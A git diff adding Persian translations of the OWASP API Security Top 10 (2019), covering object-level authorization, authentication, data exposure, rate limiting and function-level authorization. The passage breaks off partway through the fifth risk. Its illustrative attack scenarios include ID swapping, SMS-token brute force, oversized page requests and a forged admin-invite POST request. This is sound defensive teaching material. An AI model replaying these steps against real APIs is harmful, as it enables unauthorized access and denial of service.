حملاتی نظیر Force Brute نیز باز می‌گذارد. | +| API5:2019 مجوزدهی نادرست در سطح توابع | مکانیزم‌‌های پیچیده کنترل دسترسی با سلسله مراتب، گروه‌‌ها و نقش‌‌های متفاوت و مرز نامشخص بین توابع عادی و مدیریتی سبب بروز نقایص مجوزدهی می‌شوند. با بهره برداری از این آسیب‌پذیری‌‌ها مهاجمین به منابع سایر کاربران و یا توابع مدیریتی دست خواهند یافت. | +| API6:2019 تخصیص جمعی | پیوند دادن داده ارائه شده توسط کلاینت (نظیر اشیا JSON) با مدل‌‌های داده بدون فیلترکردن مناسب آنها بر مبنای یک لیست سفید می‌تواند منجر به تخصیص جمعی شود. با تشخیص ویژگی‌‌های اشیا، کاوش سایر توابع، خواندن مستندات یا ارائه ویژگی‌‌های اضافی برای اشیا در بدنه درخواست‌‌ها، مهاجم می‌تواند ویژگی‌‌هایی از اشیا که برای وی مجاز نیست را دستکاری نماید. | +| API7:2019 پیکربندی امنیتی نادرست | پیکربندی امنیتی نادرست پیامدی از بکارگیری پیکربندی ناایمن پیشفرض، پیکربندی ناقص یا غیرمتمرکز، فضای ذخیره سازی ابری باز و محافظت نشده، سرایندهای HTTP با پیکربندی نادرست، متدهای غیرضروری HTTP، خط مشی‌‌های سهل انگارانه برای اشتراک گذاری منابع متقابل (CORS) و پیامهای خطای تفصیلی و مشروح می‌باشد. | +| API8:2019 ‌‌‌آسیب‌پذیری‌‌های تزریق | آسیب‌پذیری‌‌های مبتنی بر تزریق نظیر SQL، NoSQL، تزریق دستور و ... زمانی رخ می‌دهند که داده‌ی نامطمئن بعنوان بخشی از یک دستور یا پرس و جو به مفسر تحویل داده شود. این داده مخرب می‌تواند مفسر را وادار به اجرای دستوری ناخواسته یا دسترسی غیرمجاز به داده‌‌ها نماید. | +| API9:2019 مدیریت نادرست دارایی‌‌ها | APIها معمولا توابع بیشتری را نسبت به وب اپلیکیشن‌‌های سنتی در معرض دید قرار می‌دهند که این موضوع اهمیت مستندسازی مناسب و بروز را دوچندان می‌نماید. داشتن فهرستی از میزبان‌‌ها و نسخه‌‌های بکارگرفته شده API نقش مهمی در رفع ‌‌‌آسیب‌پذیری‌‌های مرتبط با نسخ قدیمی API و توابع مرتبط با debugging ایفا می‌کند. | +| API10:2019 پایش و نظارت ناکافی | پایش و نظارت ناکافی در کنار عدم وجود فرایند پاسخ دهی به وقایع یا پیاده‌سازی ناقص آن به مهاجم امکان تثبیت دسترسی، حمله به سایر سیستم‌‌ها و استخراج/نابودسازی داده‌‌ها را می‌دهد. مطالعات انجام شده بیانگر آن است که زمان آگاهی یافتن از نفوذ انجام شده به طور میانگین بیش از 200 روز پس از انجام نفوذ بوده و تشخیص آن نیز بجای آنکه توسط فرایندهای درونی پایش و نظارت باشد توسط شرکت‌‌های ثالث صورت می‌پذیرد. | diff --git a/editions/2019/fa/0xa1-broken-object-level-authorization.md b/editions/2019/fa/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..a58a18ff8 --- /dev/null +++ b/editions/2019/fa/0xa1-broken-object-level-authorization.md @@ -0,0 +1,44 @@ +# API1:2019 مجوزدهی نادرست در سطح اشیاء + +| عوامل تهدید / مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**3** | میزان شیوع**3** : قابلیت تشخیص**2** | پیامد فنی**3** : خاص کسب و کار | +| مهاجمین می‌توانند از نقاط و توابع ‌آسیب‌پذیر (از منظر مجوزدهی نادرست در سطح اشیا) با دستکاری شناسه شیء ارسالی درون درخواست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج در اپلیکیشن‌های مبتنی بر API است چرا که مولفه سرور غالبا به طور کامل وضعیت کلاینت را رهگیری نمی‌کند و در عوض برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی خود کلاینت ارسال می‌شوند، تکیه دارند. | مهاجمین می‌توانند از نقاط و توابع ‌آسیب‌پذیر (از منظر مجوزدهی نادرست در سطح اشیا) با دستکاری شناسه شیء ارسالی درون درخواست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج در اپلیکیشن‌های مبتنی بر API است چرا که مولفه سرور غالبا به طور کامل وضعیت کلاینت را رهگیری نمی‌کند و در عوض برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی خود کلاینت ارسال می‌شوند، تکیه دارند. | دسترسی غیرمجاز می‌تواند منجر به افشای اطلاعات به طرف‌های غیرمجاز، از دست رفتن داده یا دستکاری آن شود. همچنین دسترسی غیرمجاز به اشیا می‌تواند سبب تحت کنترل گرفتن کامل حساب کاربری توسط مهاجم گردد. + +## آیا API از نظر مجوزدهی نادرست در سطح اشیاء آسیب‌پذیر است؟ + +مجوزدهی در سطح اشیا مکانیزمی برای کنترل دسترسی است که غالبا در سطح کد ‌‌‌‌پیاده‌سازی شده و دسترسی کاربر به اشیایی که بایستی به آنها دسترسی داشته باشد را تضمین می‌نماید. +هر تابعی در API که یک شناسه شی دریافت نموده و نوعی عملیات بر روی آن شی انجام می‌دهد، بایستی کنترل‌های مجوزدهی در سطح اشیا را بکار گیرد. این کنترل‌ها باید دسترسی کاربرِ واردشده به انجام عمل درخواستی بر روی شی درخواستی را اعتبارسنجی نمایند. +وجود ایراد و نقصان در این مکانیزم منجر به افشای اطلاعات غیرمجاز، تغییر یا از بین رفتن تمامی داده خواهد شد. + + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +یک پلتفرم تجارت الکترونیک، برای فروشگاه‌های آنلاین نمودارهای سود فروشگاه‌های میزبانی شده را در قالب یک لیست چندصفحه‌ای ارائه می‌دهد. مهاجم با بررسی درخواست‌های مرورگر، توابعی از API که نقش منبع داده برای نمودارهای مذبور را دارند و الگوی آنها به صورت `/shops/{shopName}/revenue_data.json` می‌باشد را شناسایی می‌کند. با استفاده از یک تابع دیگر API، مهاجم می‌تواند لیست نام کلیه فروشگاه‌های میزبانی شده را استخراج نماید. همچنین مهاجم با استفاده از یک اسکریپت ساده و جایگزین کردن `{shopName}` در URL خواهد توانست به داده‌ی فروش هزاران فروشگاه دسترسی یابد. + +### سناریو #2 + +با پایش ترافیک شبکه‌ی یک گجت پوشیدنی درخواست HTTP `PATCH` زیر توجه مهاجم را به وجود سرآیند HTTP سفارشی `X-User-Id: 54796` جلب می‌نماید. با جایگزین کردن مقدار `X-User-Id` با `54795`، مهاجم پاسخ HTTP موفقیت آمیز گرفته و قادر به تغییر اطلاعات حساب سایر کاربران خواهد بود. + +## چگونه از آسیب‌پذیری مجوزدهی نادرست در سطح اشیاء پیشگیری کنیم؟ + +* بکارگیری یک مکانیزم مجوزدهی که بر خط مشی و سلسله مراتب کاربری تمرکز دارد. +* استفاده از یک مکانیزم مجوزدهی برای بررسی اینکه آیا کاربر واردشده مجوز لازم برای انجام عملیات درخواستی بر روی رکورد در تمامی توابعی که از کلاینت، ورودی می‌گیرند تا به رکورد مذبور در پایگاه داده دسترسی داشته باشند را دارا است یا خیر؟ +* ارجحیت استفاده از مقادیر تصادفی و غیرقابل پیش بینی بعنوان GUID برای شناسه رکوردها. +* طراحی آزمونهایی برای ارزیابی صحت عملکرد مکانیزم‌های مجوزدهی. + +## مراجع + +### خارجی + +* [CWE-284: Improper Access Control][1] +* [CWE-285: Improper Authorization][2] +* [CWE-639: Authorization Bypass Through User-Controlled Key][3] + +[1]: https://cwe.mitre.org/data/definitions/284.html +[2]: https://cwe.mitre.org/data/definitions/285.html +[3]: https://cwe.mitre.org/data/definitions/639.html + + diff --git a/editions/2019/fa/0xa2-broken-user-autentication.md b/editions/2019/fa/0xa2-broken-user-autentication.md new file mode 100644 index 000000000..743afc74f --- /dev/null +++ b/editions/2019/fa/0xa2-broken-user-autentication.md @@ -0,0 +1,63 @@ +# API2:2019 احرازهویت نادرست کاربر + +| عوامل تهدید/مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**3** | میزان شیوع**2** : قابلیت تشخیص**2** | پیامد فنی**3** : خاص کسب و کار | +|احرازهویت در APIها مکانیزمی پیچیده و سردرگم کننده است. در نتیجه امکان دارد مهندسین نرم افزار و امنیت تصورات غلطی درباره حد و مرز احرازهویت و نحوه ‌پیاده‌سازی آن داشته باشند. بعلاوه، مکانیزم احرازهویت هدفی بدیهی و آسان برای مهاجمان خواهد بود چرا که در معرض دید عموم قرار دارد. این دو نکته، مولفه احراز هویت را درمقابل بهره برداری‌ها و اکسپلویت‌های متعدد آسیب‌پذیر می‌سازد.|در اینجا دو مساله وجود دارد:1. نبود مکانیزم‌های حفاظتی: رفتار با نقاط و توابع مسئول احراز هویت در API بایستی متفاوت از سایر نقاط و توابع بوده و لایه‌های حفاظتی بیشتری داشته باشد.2. ‌پیاده‌سازی نادرست مکانیزم حفاظتی: مکانیزم حفاظتی بدون لحاظ کردن بردارهای حمله یا با موارداستفاده نادرست (مثلا بکارگیری مکانیزم احرازهویتی که برای IoT طراحی شده در وب اپلیکیشن‌ها) ‌پیاده‌سازی یا استفاده شده‌اند.|مهاجمین می‌توانند به حساب‌های کاربری سایر کاربران دسترسی یافته، اطلاعات شخصی آنها را خوانده و عملیات حساس (نظیر نقل و انتقالات مالی و ارسال پیام‌های شخصی) را از طرف آنها انجام دهد.| + +## آیا API از نظر احرازهویت نادرست کاربر آسیب‌پذیر است؟ + +نقاط، توابع و جریان‌های احرازهویت API دارایی‌هایی هستند که بایستی محافظت شوند. همچنین توابع «فراموشی گذرواژه یا بازیابی گذرواژه» نیز بایستی در زمره مکانیزم‌های احرازهویت در نظر گرفته شوند. + +یک API از منظر احرازهویت نادرست کاربر آسیب‌پذیر است اگر: +* اجازه حمله [درج هویت][1] را بدهد که در آن مهاجم از لیستی از نام‌های کاربری و گذرواژه‌های معتبر استفاده می‌نماید. +* بدون استفاده از مکانیزم‌های CAPTCHA یا قفل کردن حساب کاربری اجازه حمله Brute Force روی یک حساب کاربری را بدهد. +* اجازه استفاده از گذرواژه‌های ضعیف را بدهد. +* جزئیات و داده‌های حساس مرتبط با احرازهویت از قبیل توکن‌های اصالت سنجی و گذرواژه‌ها را از طریق URL ارسال نماید. +* اصالت توکن‌ها را به بوته آزمون نگذارد. +* توکن‌ها JWT ضعیف یا بدون امضا (`"alg”:”none"`) را بپذیرد یا تاریخ انقضای آنها را اعتبارسنجی ننماید. +* از گذرواژه‌های آشکار ، رمزگذاری نشده یا درهم سازی شده بصورت ضعیف استفاده نماید. +* از کلیدهای رمزگذاری ضعیف بهره ببرد. + +## مثال‌هایی از سناریوهای حمله + +## سناریو #1 + +[درج هویت][1] (استفاده از [لیستی از نام‌های کاربری یا گذرواژه‌های شناخته شده][2]) حمله‌ای رایج است. اگر اپلیکیشن از مکانیزم‌های حفاظتی خودکار در مقابل تهدیداتی نظیر درج هویت بهره نبرده باشد، آنگاه اپلیکیشن می‌تواند بعنوان یک پیشگوی گذرواژه یا آزمونگر جهت بررسی صحت اطلاعات هویتی جهت عبور از مکانیزم احرازهویت بکار رود. + +## سناریو #2 + +مهاجم جریان بازیابی گذرواژه را با ارسال یک درخواست POST به `/api/system/verification-codes` و ارائه نام کاربری در بدنه پیام آغاز می‌کند. سپس یک توکن پیامک 6 رقمی به تلفن قربانی ارسال می‌گردد. از آنجا که API خط مشی محدودیت سازی نرخ ارسال درخواست را بکار نگرفته، مهاجم می‌تواند تمامی جایگشت‌ها و ترکیبات محتمل را با استفاده از یک اسکریپت چندنخی با تابع زیر برای یافتن توکن صحیح ظرف چند دقیقه بیازماید `/api/system/verification-codes/{smsToken}`. + +## چگونه از ‌آسیب‌پذیری احرازهویت نادرست کاربر پیشگیری کنیم؟ + +* حصول اطمینان از آنکه تمامی جریان‌های ممکن برای احراز هویت API (موبایل یا وب، سایر لینک‌هایی که از مکانیزم احرازهویت با یک کلیک و غیره) شناسایی شده است. +* مشورت با توسعه دهندگان و مهندسین در ارتباط با جریان‌های احرازهویتی که ممکن است از نظر دور مانده باشند. +* مطالعه و فهم کامل مکانیزم‌های احرازهویت استفاده شده در اپلیکیشن؛ بایستی درنظر داشت که OAuth و کلیدهای API نمی‌توانند بعنوان مکانیزمی برای احرازهویت به شمار آیند. +* در مساله احرازهویت، تولید توکن و ذخیره‌سازی گذرواژه، نباید چرخ را از ابتدا اختراع کرد بلکه بایستی از استانداردها استفاده نمود. +* توابع بازیابی یا فراموشی گذرواژه بایستی از منظر محافظت در مقابل Brute Force، محدودسازی نرخ و قفل شدن حساب کاربری هم ارز با توابع و نقاط ورود در نظر گرفته شود. +* از [راهنمای احرازهویت OWASP][3] استفاده شود. +* بکارگیری احرازهویت چندعاملی، در هر جا که امکان داشت. +* بکارگیری مکانیزم‌های ضد Brute Force برای جلوگیری از حملات درج هویت، Dictionary و Brute Force بر روی توابع و نقاط احرازهویت در API. این مکانیزم بایستی سختگیرانه‌تر از مکانیزم محدودسازی نرخ معمول ‌پیاده‌سازی شود. +* بکارگیری مکانیزم‌های [قفل کردن حساب کاربری][4] / CAPTCHA برای جلوگیری از حمله Brute Force علیه کاربران خاص. +* کلیدهای API نبایستی برای احرازهویت کاربران بکار برده شود اما در عوض می‌تواند برای [احرازهویت اپلیکیشن/پروژه کلاینت][5] استفاده گردد. + +## مراجع + +### OWASP + +* [OWASP Key Management Cheat Sheet][6] +* [OWASP Authentication Cheatsheet][3] +* [Credential Stuffing][1] + +### خارجی + +* [CWE-798: Use of Hard-coded Credentials][7] + +[1]: https://www.owasp.org/index.php/Credential_stuffing +[2]: https://github.com/danielmiessler/SecLists +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[4]: https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) +[5]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[6]: https://www.owasp.org/index.php/Key_Management_Cheat_Sheet +[7]: https://cwe.mitre.org/data/definitions/798.html diff --git a/editions/2019/fa/0xa3-excessive-data-exposure.md b/editions/2019/fa/0xa3-excessive-data-exposure.md new file mode 100644 index 000000000..d81db5a4a --- /dev/null +++ b/editions/2019/fa/0xa3-excessive-data-exposure.md @@ -0,0 +1,38 @@ +# API3:2019 افشای مفرط داده + +| عوامل تهدید/مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**3** | میزان شیوع**2** : قابلیت تشخیص**2** | پیامد فنی**2** : خاص کسب و کار | +| بهره برداری از این آسیب‌پذیری آسان بوده و غالبا با شنود ترافیک به منظور تحلیل پاسخ‌های API برای یافتن داده حساسی که نباید به کاربر بازگردانده شود امکان پذیر است. | APIها برای فیلتر کردن داده به کلاینت‌ها اتکا می‌کنند. از آنجا که APIها به عنوان منابع داده استفاده می‌شوند، توسعه دهندگان گاها آنها را بدون توجه به حساسیت اطلاعاتی که افشا می‌شود بکار می‌گیرند. ابزارهای خودکار غالبا نمی‌توانند این ‌آسیب‌پذیری را کشف کنند چرا که تمایز دادن بین داده مجازی که توسط API بازگردانده می‌شود با داده حساسی که نباید توسط API بازگردانده شود بدون داشتن فهمی عمیق از اپلیکیشن امکان پذیر نیست. | افشای مفرط و بیش از حد داده معمولا منجر به افشای اطلاعات حساس می‌شود. | + +## آیا API از نظر افشای مفرط داده ‌آسیب‌پذیر است؟ + +طراحی API به گونه‌ای است که داده حساس را به کلاینت باز می‌گرداند. این داده غالبا پیش از ارائه و نمایش به کاربر در سمت کلاینت فیلتر می‌شود. در نتیجه مهاجم می‌تواند براحتی و با شنود ترافیک، این داده حساس را مشاهده نماید. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +تیم توسعه موبایل از `/api/articles/{articleId}/comments/{commentId}` برای مشاهده و پردازش فراداده کامنت‌ها بهره می‌برد. با شنود ترافیک اپلیکیشن موبایل، مهاجم در می‌یابد که داده مرتبط با نویسنده کامنت نیز بازگردانده می‌شود. این موضوع به این دلیل است که ‌‌پیاده‌سازی API از یک متد عمومی `toJSON()` برای سریالیزه کردن شیء `User` بهره می‌برد که این شی حاوی داده حساس PII می باشد. + +### سناریو #2 + +یک سیستم نظارتی مبتنی بر IoT به مدیران خود اجازه ایجاد کاربرانی با سطوح مجوز مختلف می‌نماید. یکی از مدیران یک حساب کاربری برای یک نیروی حفاظت فیزیکی (نگهبان) جدید می‌سازد که بر مبنای آن تنها امکان دسترسی به ساختمان‌های مشخصی بایستی وجود داشته باشد. به محض استفاده نگهبان مذبور از اپلیکیشن موبایل خود، یک فراخوانی API به سوی `/api/sites/111/cameras` روانه می‌شود تا اطلاعات مرتبط با دوربین‌های موجود را دریافت نموده و آنها را در دشبورد خود نمایش دهد. پاسخ، لیستی از جزئیات دوربین‌ها با فرمت زیر را در بردارد. `{"id":"xxx","live_access_token":"xxxx-bbbbb","building_id":"yyy"}`. +در حالیکه رابط گرافیکی کلاینت فقط دوربین‌هایی که نگهبان مذبور بایستی به آنها دسترسی داشته باشد را نشان می‌دهد، اما لیست کامل این دوربین‌ها در پاسخ API وجود دارد. + +## چگونه از ‌آسیب‌پذیری افشای مفرط داده پیشگیری کنیم؟ + +* عدم تکیه بر کلاینت در مساله فیلتر کردن داده حساس. +* بازبینی پاسخ دریافتی از API به منظور حصول اطمینان از آنکه فقط داده لازم و اصلی در آن نمایش داده می شود. +* پیش از افشا و در معرض دید عموم قراردادن یک API، مهندسین توسعه دهندگان Back-End بایستی از خود بپرسند: مصرف کننده و مخاطب این داده چه کسی است؟ +* اجتناب از استفاده از متدهای عمومی `to_json()` و `to_string()` و در عوض دستچین کردن تک تک ویژگی‌ها و مشخصه‌هایی که برای پاسخ ضروری هستند. +* طبقه بندی اطلاعات حساس و شخصی ذخیره شده در APIها و بازبینی تمامی فراخوانی‌های APIهایی که این اطلاعات را باز می‌گردانند به منظور کشف و شناسایی مواردی که ضعف امنیتی در پی دارند. +* بکارگیری یک مکانیزم اعتبارسنجی الگومحور برای بررسی اعتبار پاسخ‌ها بعنوان یک لایه امنیتی دیگر و همچنین تعریف و اعمال این مکانیزم بر روی داده بازگردانده شده تمامی APIها از جمله خطاها. + +## مراجع + +### خارجی + +* [CWE-213: Intentional Information Exposure][1] + +[1]: https://cwe.mitre.org/data/definitions/213.html diff --git a/editions/2019/fa/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/fa/0xa4-lack-of-resources-and-rate-limiting.md new file mode 100644 index 000000000..20e12faa0 --- /dev/null +++ b/editions/2019/fa/0xa4-lack-of-resources-and-rate-limiting.md @@ -0,0 +1,66 @@ +# API4:2019 کمبود منابع و نبود محدودیت بر نرخ ارسال + +| عوامل تهدید/مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**2** | میزان شیوع**3** : قابلیت تشخیص**3** | پیامد فنی**2** : خاص کسب و کار | +| بهره برداری از این آسیب‌پذیری نیاز به ارسال درخواست‌های ساده‌ای به سوی API دارد و به احراز هویت هم نیازی نیست. کافی است تعدادی درخواست هم‌زمان از یک ماشین و یا با استفاده از منابع رایانش ابری به سوی API ارسال گردد تا بتوان از این آسیب‌پذیری بهره برد. | یافتن APIهایی که محدودسازی نرخ ارسال را بکار نگرفته یا محدودیت‌های اعمال شده آنها ناکافی است، کار دشواری نیست. | بهره برداری از این آسیب‌پذیری می‌تواند منجر به بروز DoS شده، در نتیجه API را از پاسخ به درخواست‌ها باز دارد و یا حتی آن را از دسترس خارج نماید.| + +## آیا API از نظر کمبود منابع و نبود محدودیت بر نرخ ارسال ‌‌آسیب‌پذیر است؟ + +درخواست‌‌های ارسال شده به سوی API منابعی از قبیل پهنای باند شبکه، پردازنده، حافظه و فضای ذخیره‌سازی را مصرف می‌کنند. مقدار منابعی که برای پاسخگویی به یک درخواست صرف می‌شود عمدتا به ورودی‌‌های کاربر و منطق تجاری توابع API بستگی دارد. همچنین باید این موضوع را نیز درنظر داشت که درخواست‌‌های کلاینت‌‌های API مختلف برای دریافت منابع رقابت می‌کنند. +اگر دست‌کم یکی از محدودیت‌‌های زیر در سمت API به کلی اعمال نشده یا بطور نادرست (مثلا بیش از حد زیاد یا بیش از حد کم) ‌‌‌‌پیاده‌سازی شده باشد آنگاه API از منظر محدودیت یا کمبود نرخ ارسال، ‌‌آسیب‌پذیر خواهد بود: + +* اجرای محدودیت زمانی (time out) +* حداکثر میزان حافظه قابل تخصیص +* تعداد توصیف‌گر فایل‌‌ها +* تعداد پردازه‌‌ها +* اندازه محموله در درخواست‌‌ها (مثلا در هنگام آپلود) +* تعداد درخواست‌‌ها به ازای کلاینت یا منبع +* تعداد رکوردهایی که به ازای یک درخواست در یک صفحه نمایش داده می‌شوند. + + +## مثال‌‌هایی از سناریوهای حمله + +### سناریو #1 + +مهاجم از طریق ارسال یک درخواست POST به `/api/v1/images` اقدام به آپلود یک تصویر بزرگ می‌نماید. بعد از اتمام آپلود، API از روی تصویر آپلود شده تصاویرانگشتی متعددی با اندازه‌‌های مختلف ایجاد می نماید. به دلیل اندازه تصویر آپلودشده، حافظه‌ی دردسترس در خلال فرایند ایجاد تصاویر انگشتی تحت فشار قرار گرفته و API به وضعیت غیرپاسخگو می‌رسد. + +### سناریو #2 + +اپلیکیشنی لیست کاربران را در UI با محدودیت `200` کاربر در صفحه نمایش می‌دهد. لیست این کاربران از طربق ارسال پرس و جوی زیر از سرور دریافت می‌گردد: `/api/users?page=1&size=200`. در اینجا مهاجم می‌تواند با تغییر پارامتر `size` به `200 000`، مشکلاتی در عملکرد پایگاه داده پدید آورده و API را به وضعیت غیرپاسخگو برساند. در این حالت API قادر به پاسخگویی به هیچ درخواستی نخواهد بود (همان DoS). +همین سناریو را می‌توان به طریق مشابه برای ایجاد حملات سرریز Integer و سرریز Buffer استفاده نمود. + +## چگونه از ‌‌آسیب‌پذیری کمبود منابع و نبود محدودیت بر نرخ ارسال پیشگیری کنیم؟ + +* محدودسازی [حافظه][1]، [پردازنده][2]، [تعداد دفعات راه اندازی مجدد][3]، [توصیف‌گرهای فایل و پردازه‌‌ها][4] با استفاده از Docker. +* اعمال محدودیت بر تعداد دفعاتی که در یک زمان مشخص امکان فراخوانی API وجود دارد. +* پس از ردشدن کلاینت از آستانه مجاز، این موضوع به همراه زمان رفع محدودیت به کلاینت اطلاع داده شود. +* افزودن اعتبارسنجی سمت سرور برای بررسی پارامترهای موجود در بدنه درخواست‌‌ها و رشته‌‌های پرس و جو، خصوصا مواردی که به نحوی با تعداد رکوردهای نمایش داده شده در پاسخ ارتباط دارند. +* تعریف و اِعمال بیشینه اندازه داده (نظیر بیشینه طول برای رشته‌‌ها یا بیشینه تعداد عناصر در آرایه‌‌ها) در درخواست‌‌ها و محموله‌‌های ورودی. + +## مراجع + +### OWASP + +* [Blocking Brute Force Attacks][5] +* [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors, + processes, restarts)][6] +* [REST Assessment Cheat Sheet][7] + +### خارجی + +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][8] +* [CWE-770: Allocation of Resources Without Limits or Throttling][9] +* “_Rate Limiting (Throttling)_” - [Security Strategies for Microservices-based + Application Systems][10], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit +[5]: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks +[6]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts +[7]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md +[8]: https://cwe.mitre.org/data/definitions/307.html +[9]: https://cwe.mitre.org/data/definitions/770.html +[10]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf diff --git a/editions/2019/fa/0xa5-broken-function-level-authorizaion.md b/editions/2019/fa/0xa5-broken-function-level-authorizaion.md new file mode 100644 index 000000000..3d952ef69 --- /dev/null +++ b/editions/2019/fa/0xa5-broken-function-level-authorizaion.md @@ -0,0 +1,64 @@ +# API5:2019 مجوزدهی نادرست در سطح توابع + +| عوامل تهدید/مسیر حمله | ضعف امنیتی | پیامد | +| - | - | - | +| API خاص: قابلیت بهره‌برداری**2** | میزان شیوع**2** : قابلیت تشخیص**1** | پیامد فنی**2** : خاص کسب و کار | +| بهره برداری از این ‌‌آسیب‌پذیری یعنی ارسال فراخوانی‌های API درست توسط مهاجم به سوی API Endpoint در ارتباط با فراخوانی‌هایی که مهاجم مجوز آنها را ندارد. این Endpointها ممکن است در معرض دید کاربران ناشناس، بدون مجوز یا عادی قرار داشته باشند. برای مهاجم تشخیص وجود چنین نواقصی در API آسان تر است چرا که ساختارمندتر بوده و نحوه دسترسی آنها به توابع، قابل پیش بینی تر است (مثلا تغییر متد HTTP از GET به PUT یا تغییر رشته “users” در URL به “admins”). | کنترل‌های مجوزدهی برای توابع یا منابع غالبا در سطح پیکربندی یا کد مدیریت می شوند. بکارگیری کنترل‌های مناسب می‌تواند گیج کننده باشد چرا که اپلیکیشن‌های مدرن امروزی غالبا دارای انواع مختلفی از نقش‌ها و گروه‌ها و سلسله مراتب کاربری هستند (مثلا کاربران دارای بیش از یک نقش). | چنین مشکلاتی منجر به دسترسی مهاجم به توابع غیرمجاز می‌شود. در این صورت توابع مدیریتی از جمله اهداف کلیدی مهاجم خواهند بود. | + +## آیا API از نظر مجوزدهی نادرست در سطح توابع ‌‌آسیب‌پذیر است؟ + +بهترین راه یافتن مشکلات مجوزدهی در سطح توابع، تحلیل عمیق مکانیزم مجوزدهی با لحاظ کردن سلسله مراتب کاربران، نقش‌‌‌ها و گروهاه‌‌‌های متفاوت موجود در اپلیکیشن و پرسیدن پرسش‌‌‌های زیر است: + +* آیا کاربر عادی می‌تواند به توابع و نقاط مدیریتی در API دسترسی داشته باشد؟ +* آیا کاربری می‌تواند عمل حساسی که مجوز انجام آن را ندارد (نظیر ایجاد، تغییر یا حذف) را صرفا با تغییر متد HTTP (مثلا از `GET` به `DELETE`) انجام دهد؟ +* آیا کاربری از گروه X می‌تواند صرفا با حدس زدن URLهای توابع و پارامترهای آن به مسیری (نظیر `/api/v1/users/export_all`) که فقط باید برای کاربران گروه Y قابل مشاهده باشد دسترسی یابد؟ + +بایستی در نظر داشت که عادی یا مدیریتی بودن یک تابع در API (همان API Endpoint) صرفا بر مبنای مسیر URL تعیین نمی‌شود. + +در حالیکه توسعه دهندگان بیشتر تمایل دارند که توابع مدیریتی را ذیل یک مسیر نسبی معین مانند `api/admins` قرار دهند، اما بسیار دیده می شود که این توابع مدیریتی در کنار توابع عادی در مسیرهایی نظیر `api/users` قرار داده شده‌اند. + +## مثال‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +در خلال فرایند ثبت نام در یک اپلیکیشن که فقط به کاربران دعوت شده اجازه عضویت می‌دهد، اپلیکیشن موبایل، یک فراخوانی API به `GET /api/invites/{invite_guid}` می‌فرستد. پاسخ دریافتی فایل JSONی را دارا است که درون آن اطلاعات دعوتنامه‌‌‌ها شامل نقش کاربر و آدرس ایمیل وی دیده می‌شود. + +مهاجم درخواست مذبور را ضبط کرده و متد HTTP را به `POST /api/invites/new` تغییر می‌دهد. این تابع تنها بایستی از طریق کنسول مدیریت و برای ادمین‌‌‌ها قابل دسترسی باشد که بعلت عدم بکارگیری کنترل‌‌‌های صحیح مجوزدهی درسطح توابع اینگونه نیست. + +در گام بعد مهاجم از این مساله بهره برداری کرده و برای خود دعوتنامه‌ای جهت ساخت یک اکانت ادمین می‌فرستد: + +``` +POST /api/invites/new + +{“email”:”hugo@malicious.com”,”role”:”admin”} +``` + +### سناریو #2 + +یک API دارای تابعی است که فقط ادمین‌‌‌ها بایستی آن را ببینند - `GET /api/admin/v1/users/all`. این تابع در پاسخ جزئیات تمامی کاربران اپلیکیشن را برگردانده و کنترل‌‌‌های مجوزدهی در سطح توابع را نیز به درستی ‌‌‌‌پیاده‌سازی نکرده است. مهاجمی که با ساختار API آشنایی پیدا کرده، این مسیر را حدس زده و اطلاعات حساس تمامی کاربران اپلیکیشن را می‌رباید. + +## چگونه از ‌‌آسیب‌پذیری مجوزدهی نادرست در سطح توابع پیشگیری کنیم؟ + +ماژول مجوزدهی اپلیکیشن بایستی بطور یکپارچه توسط تمامی توابع اپلیکیشن فراخوانی شده و تحلیل آن نیز آسان باشد. همچنین در بیشتر مواقع، این روش حفاطتی توسط یک یا چند مولفه بیرونی و خارج از کد اصلی اپلیکیشن فراهم می‌شود. + +* مکانیزم (های) اعمال شده بایستی بطور پیشفرض کلیه دسترسی‌‌‌ها را Deny (رد) نموده و برای دسترسی به هر یک از توابع، مجوزخاص دسترسی نقش مربوطه را طلب نمایند. +* توابع API از منظر عیوب مجوزدهی در سطح تابع با درنظر گرفتن منطق اپلیکیشن و سلسله مراتب گروه‌‌‌های کاربری مورد بازبینی قرار گیرد. +* تمامی کنترلگرهای مدیریتی از یک کنترلگر مدیریتی انتزاعی که مجوزها را بر حسب نقش کاربر یا گروه پیاده‌سازی نموده، ارث بری داشته باشند. +* تمامی توابع مدیریتی درون یک کنترلگر عادی (غیرمدیریتی)، کنترل‌‌‌های مجوز مبتنی بر نقش کاربر یا 